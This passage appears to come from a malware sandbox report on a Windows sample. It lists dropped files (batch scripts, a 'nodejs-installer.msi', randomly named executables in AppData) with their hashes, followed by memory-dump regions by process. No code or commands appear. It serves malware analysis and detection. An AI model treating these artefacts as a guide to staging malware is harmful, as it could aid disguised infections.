f2d8600c4d09f674c38aeb09d11b055da7c6ac31af79345b9dee28e06bc7730c

SHA512
b61b21013e30ab3db33125954ef10c868e668bf49fd1c6f12de05580d2f1b38ec7cb2b48f2719c7d200b36eeea80953eb2c491889841c2d2176ba8073e2c6ce5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3794.tmp.txt
Filesize
13KB

MD5
5cb99e22dbe9392f2275b9b4719ca42c

SHA1
e3ae30e9cc2b9cec1d4c0aa9aa8d576fd0899a2c

SHA256
161ca368fb2776039172fed85a12528e1f0d104bafda716413dd398db7a36438

SHA512
d879e16506cc441c7460bf88afdf699a8cc50ae5c5718f98bce188b135f2e183709cd7ce7257ec28333c7e270e779f9f10d931e4707fdbdd9ddab65409e0e14b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
143a478fb47996f74bbbcdaa252b9e0b

SHA1
288893a45c1c50f8245a32aa06dfb1ac2ff31c83

SHA256
6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

SHA512
e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8f954c86495f1256b9f20046a0b487d3

SHA1
b40ac4b22b07611c5c34efedca97fc5a8319e9b7

SHA256
94cf031ea1a632617548db0089091413f4cbb71ce2048e0aab92f6866ab8306b

SHA512
f67333df900d13eef6e01ca6fd2e52efe20a5c85ee6ce43d67f55ef913049149df696e045f45dc614d564afa4b457b365b915dd720b9da369b089ac9cb9b6cea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Temp\3498.tmp\34A8.tmp\34A9.bat
Filesize
1KB

MD5
2b49f09f8e1785bf2e5c79d0f2bc7389

SHA1
05d68482ab1db17e11fef25fae270c3b784000ae

SHA256
706536e5077fcb4e5e4dd2f77d40f492e7ab6b12065cdc0b450fdd483f436279

SHA512
ba8cc161086caa5beb691191ff10f1408e68be79a075d0a653716df497cec762b7767783a0dc91bcba2f260df0fa9ff77e9cf982a364135a18c281e50564bc0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\3498.tmp\nodejs-installer.msi
Filesize
25.3MB

MD5
0df081aa47e7159e585488a161a97466

SHA1
2dc9a592dbb208624aff11a57f97bea89a315973

SHA256
20c578361911d7b0cf153b293b025970eca383a2c802e0df438ac254aaca165d

SHA512
2e1b58add6a714281f2ddeb936069c0eb8ce24ae2e440941379c4273afd7f1a96b162d5b88211e8678804bad652e48c99a4993e0e0d0da4d1abd7550d397e836

Download Submit
C:\Users\Admin\AppData\Local\Temp\34A7.tmp\34A8.tmp\34A9.bat
Filesize
6KB

MD5
45f6bf2d3c1c47e445439b805929aae8

SHA1
9d2ba518dd058559bc1d690019bbed79c7cd5f85

SHA256
ca7484221dd9645e4608a8195965d941955cfb0f9a373d0870cfd244302ae0fa

SHA512
902eb3e38b0be7d795f17a779d0231d0d168fbb8d4ce32b48ba3774a6be9929016b213e9b0082b55e8ac4d2fadadce3184ba8c30f8a025003fec8c8b8e496c64

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_id0dlrw5.fbt.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\lysewm5x.ir00.exe
Filesize
94KB

MD5
40208a80f2b2155185d8a5bac4b9c367

SHA1
d7bf694f6046be8d6a882c86df12c1a35e26ab60

SHA256
cf879d5a689376a47310ceb1b95167ccd18ab2073a1356b8d9cecbf04141ae16

SHA512
5ff32150c9e62261732c36b4bf2c4f84c58b120b72652b2c22a7591865dd6babbfb741fb75177acd845b072a4ea2a594960a894a2bca4f220c2f897ccd692621

Download Submit
C:\Users\Admin\AppData\Roaming\lysewm5x.ir01.exe
Filesize
423KB

MD5
448e72d5b4a0ab039607cbaf93707732

SHA1
bbb85f7a6b8915d6a6739aa4f80be2766c62eb9f

SHA256
df97eb504ed5a3298737f83d418d70025f3be0daf56d6ccae35ec0d2ef813b20

SHA512
a4f82bb6385e1259e082128604e4232e2f0f3436d8fa8aa04ce3b0d42c943b8b3da4ffb74e307ba7243801b5b48ca07848cc8d029fc8a36cfb90e50ebaaba6a4

Download Submit
C:\Users\Admin\AppData\Roaming\lysewm5x.ir02.exe
Filesize
5.2MB

MD5
f55fc8c32bee8f7b2253298f0a0012ba

SHA1
574c7a8f3eb378c03f58bc96252769296b20970e

SHA256
cf3389f2b5fb30f790542cd05deb5cb3b9bb10f828b8822cce1c0b83da9d6eb9

SHA512
c956fb150b34d3928eed545644cbf7914e7db3b079d4f260b9f40bf62aaf4432b4cdfd32c99abc9cd7ca79e66d0751d4a30c47087c39a38865b69dc877ac8f2a

Download Submit
C:\Users\Admin\AppData\Roaming\lysewm5x.ir03.exe
Filesize
89KB

MD5
a3b2fcf0c05bb385115894d38c2e6c44

SHA1
32cf50911381bbec1dad6aec06c2a741bd5d8213

SHA256
dbfe02373aa15cc50414561f2bf486b69a11cd9cd50217608c1d18d17e72cae1

SHA512
fe58a5d238ac39a269897c176de08d0ad2726bb2ea1636f0d383a1484263e43d0878f0b5f4ebee8a10f3db8e72ab9b36b861e29a6a9b6429fa3e51ec7546dee2

Download Submit
C:\Windows\Installer\MSID46D.tmp
Filesize
125KB

MD5
a6c7f0c329b28edb3e7f10d115d85c6d

SHA1
f36faaf4af452ab0bcd30ef66de7291bcee21264

SHA256
8f2e81c6f8ccd01dd1727cf93b82fe35b3abb8cf1ef3045dcd6cdf3346a59d03

SHA512
d7fb6997c9ff0dae74634422b8953a276604c0aa27b1e8d9ce4c87220fd469c6eecac6d86da857ff75378c535d2a684b4a120927c62f5267f1bd4dbdc05a72cf

Download Submit
C:\Windows\Installer\MSID52A.tmp
Filesize
390KB

MD5
80bebea11fbe87108b08762a1bbff2cd

SHA1
a7ec111a792fd9a870841be430d130a545613782

SHA256
facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

SHA512
a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

Download Submit
memory/384-130-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/384-129-0x0000024473E10000-0x0000024473E3B000-memory.dmp

Filesize
172KB

Download
memory/396-136-0x0000023D5F9B0000-0x0000023D5F9DB000-memory.dmp

Filesize
172KB

Download
memory/396-137-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/632-119-0x000001E3A2080000-0x000001E3A20A4000-memory.dmp

Filesize
144KB

Download
memory/632-127-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/632-124-0x000001E3A20B0000-0x000001E3A20DB000-memory.dmp

Filesize
172KB

Download
memory/692-122-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/692-121-0x0000021041FB0000-0x0000021041FDB000-memory.dmp

Filesize
172KB

Download
memory/928-141-0x000001E18DEE0000-0x000001E18DF0B000-memory.dmp

Filesize
172KB

Download
memory/928-142-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/960-133-0x0000020B3C510000-0x0000020B3C53B000-memory.dmp

Filesize
172KB

Download
memory/960-134-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/1044-145-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/1044-144-0x000001BD60490000-0x000001BD604BB000-memory.dmp

Filesize
172KB

Download
memory/1120-150-0x000002C54F970000-0x000002C54F99B000-memory.dmp

Filesize
172KB

Download
memory/1120-151-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/1172-154-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/1172-153-0x0000024BC0090000-0x0000024BC00BB000-memory.dmp

Filesize
172KB

Download
memory/1192-156-0x000002996C940000-0x000002996C96B000-memory.dmp

Filesize
172KB

Download
memory/1192-157-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/1260-161-0x0000018776F40000-0x0000018776F6B000-memory.dmp

Filesize
172KB

Download
memory/1260-162-0x00007FFD62A90000-0x00007FFD62AA0000-memory.dmp

Filesize
64KB

Download
memory/1960-107-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1960-108-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1960-116-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1960-109-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1960-112-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1960-113-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/1960-114-0x00007FFDA1380000-0x00007FFDA143E000-memory.dmp

Filesize
760KB

Download
memory/1960-110-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2068-67-0x0000000000720000-0x0000000000729000-memory.dmp

Filesize
36KB

Download
memory/2068-71-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/2068-70-0x00000000025B0000-0x00000000029B0000-memory.dmp

Filesize
4.0MB

Download
memory/2068-73-0x0000000076D50000-0x0000000076F65000-memory.dmp

Filesize
2.1MB

Download
memory/3104-17-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/3104-8-0x000002A7D56F0000-0x000002A7D5712000-memory.dmp

Filesize
136KB

Download
memory/3104-13-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/3104-14-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/3104-15-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/3104-16-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/3104-59-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/3948-0-0x00007FFD84573000-0x00007FFD84575000-memory.dmp

Filesize
8KB

Download
memory/3948-1-0x0000000000B10000-0x0000000000B18000-memory.dmp

Filesize
32KB

Download
memory/4168-39-0x0000000000EA0000-0x0000000000F1E000-memory.dmp

Filesize
504KB

Download
memory/4168-62-0x00000000037F0000-0x0000000003BF0000-memory.dmp

Filesize
4.0MB

Download
memory/4168-63-0x00000000037F0000-0x0000000003BF0000-memory.dmp

Filesize
4.0MB

Download
memory/4168-64-0x00007FFDA2A10000-0x00007FFDA2C05000-memory.dmp

Filesize
2.0MB

Download
memory/4168-66-0x0000000076D50000-0x0000000076F65000-memory.dmp

Filesize
2.1MB

Download
memory/4168-68-0x0000000000EA0000-0x0000000000F1E000-memory.dmp

Filesize
504KB

Download